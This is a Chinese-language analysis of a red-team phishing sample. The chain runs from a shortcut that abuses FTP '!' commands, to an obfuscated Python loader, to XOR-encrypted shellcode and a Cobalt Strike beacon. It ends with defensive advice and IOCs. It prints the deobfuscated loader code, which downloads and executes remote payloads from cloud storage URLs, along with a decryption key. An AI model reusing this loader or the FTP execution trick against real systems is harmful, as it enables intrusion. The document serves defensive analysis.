记录自己的第一次红队钓鱼样本分析
字数 1654 2025-08-24 07:48:09
红队钓鱼样本分析技术详解
一、样本概述
这是一个典型的红队钓鱼攻击样本,通过精心设计的攻击链实现恶意代码执行。样本采用多种技术手段规避检测,包括:
- 利用FTP协议特性执行系统命令
- Python环境打包
- 多层混淆与加密
- 远程分离加载
- Shellcode动态解密
- Cobalt Strike Beacon植入
二、样本初始执行分析
1. 样本组成
解压后包含:
- 一个快捷方式文件
- 一个包含Python环境的文件夹
2. FTP协议滥用
快捷方式利用了FTP协议的冷门特性:
ftp -s:WeChatWin.dll
其中WeChatWin.dll实际包含FTP命令:
!start /b pythonw.exe main.pyw
!start encrypted.docx
bye
技术要点:
!符号可在FTP中直接执行系统命令-s:<文件>参数可执行文件中的FTP命令start /b以后台模式启动程序pythonw.exe是无窗口Python解释器- 同时打开加密Word文档作为诱饵
三、Python阶段分析
1. 主脚本结构
main.pyw导入action.py模块,后者经过混淆处理。
2. 混淆代码分析
原始混淆代码使用了多层技术:
- 变量名混淆(OO00O0OO00OO00OO0等)
- 字符串加密
- 代码逻辑拆分
使用AI还原后核心功能:
import ast
import ctypes
import urllib.request
import base64
import ssl
# 禁用SSL验证
ssl._create_default_https_context = ssl._create_unverified_context
# 从阿里云OSS下载加密脚本
encrypted_script_data = urllib.request.urlopen(
'https://n8ovkgib7gm.oss-cn-chengdu.aliyuncs.com/T0Lq033PB'
).read()
# XOR解密函数
def xor_decrypt(data, key):
decrypted_data = bytearray(len(data))
for i in range(len(data)):
decrypted_data[i] = data[i] ^ key[i % len(key)]
return bytes(decrypted_data)
# 自定义Base64解码
def extract_base64_string(encoded_string):
base64_string = ""
# 每4字符取1字符构建真实Base64
for i in range(3, len(encoded_string), 4):
base64_string += encoded_string[i]
return base64.b64decode(base64_string).decode()
# 反序列化执行类
class A(object):
def __reduce__(self):
return (exec, (decoded_script,))
# 执行解密后的脚本
decoded_script = extract_base64_string(encrypted_script_data.decode())
encrypted_key = "tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
decoded_key = extract_base64_string(encrypted_key)
exec(compile(ast.parse(decoded_key, mode='exec'), filename="<string>", mode="exec"))
3. 关键攻击技术
- 远程分离加载:从阿里云OSS下载加密的第二阶段脚本
- 多层加密:
- 自定义Base64编码(每4字符取1字符)
- XOR异或加密
- 反序列化利用:通过重写
__reduce__方法实现代码执行 - AST解析执行:避免直接使用
eval,增加隐蔽性
四、Shellcode分析
1. Shellcode获取
攻击者从另一个OSS存储桶下载加密的Shellcode:
encrypted_data = urllib.request.urlopen(
'https://acbeefaezy6nkh.oss-cn-wulanchabu.aliyuncs.com/OwJXDt3b'
).read()
解密代码:
key = b'BVJgJShZbeqfrqHjp'
decoded_data = base64.b64decode(encrypted_data)
sc = xor_decrypt(decoded_data, key)
2. Shellcode特征
- 以
E8开头,典型SGN编码特征 - 使用CALL指令作为入口点
- 运行时动态解密
3. 内存Dump技术
在调试器中:
- 对
LoadLibraryA下断点 - 运行至断点时,内存中可见PE文件特征(MZ头)
- 从内存中Dump完整Beacon
4. Cobalt Strike特征
使用CobaltStrikeParser解析后确认:
- C2通信使用阿里云CDN
- 采用域前置技术隐藏真实C2
- Beacon具备完整功能
五、基础设施分析
1. 使用的CDN
- 阿里云OSS(成都区域):n8ovkgib7gm.oss-cn-chengdu.aliyuncs.com
- 阿里云OSS(乌兰察布区域):acbeefaezy6nkh.oss-cn-wulanchabu.aliyuncs.com
2. 域名特征
- 已备案域名,增加可信度
- 使用CDN隐藏真实IP
- 疑似采用域前置技术
六、防御建议
1. 检测层面
- 监控异常FTP命令执行
- 检测Pythonw.exe异常启动
- 拦截对云存储桶的可疑访问
- 检测内存中的MZ头异常出现
2. 防护层面
- 禁用不必要的协议命令(如FTP的!命令)
- 限制Python解释器执行权限
- 阻断可疑CDN域名访问
- 启用SSL证书验证
3. 响应层面
- 收集相关IOC(URL、哈希等)
- 检查内存中是否存在Beacon
- 追溯攻击链各阶段
七、IOC(入侵指标)
| 类型 | 值 |
|---|---|
| URL | https://n8ovkgib7gm.oss-cn-chengdu.aliyuncs.com/T0Lq033PB |
| URL | https://acbeefaezy6nkh.oss-cn-wulanchabu.aliyuncs.com/OwJXDt3b |
| XOR Key | BVJgJShZbeqfrqHjp |
| 技术 | FTP命令执行、Python混淆、SGN编码、Cobalt Strike |
八、总结
该攻击样本展示了高级红队攻击的典型特征:
- 利用冷门协议特性绕过检测
- 多层加密与混淆
- 远程分离加载
- 内存驻留技术
- 专业C2框架使用
防御此类攻击需要纵深防御策略,重点关注异常行为检测而非单纯依赖特征匹配。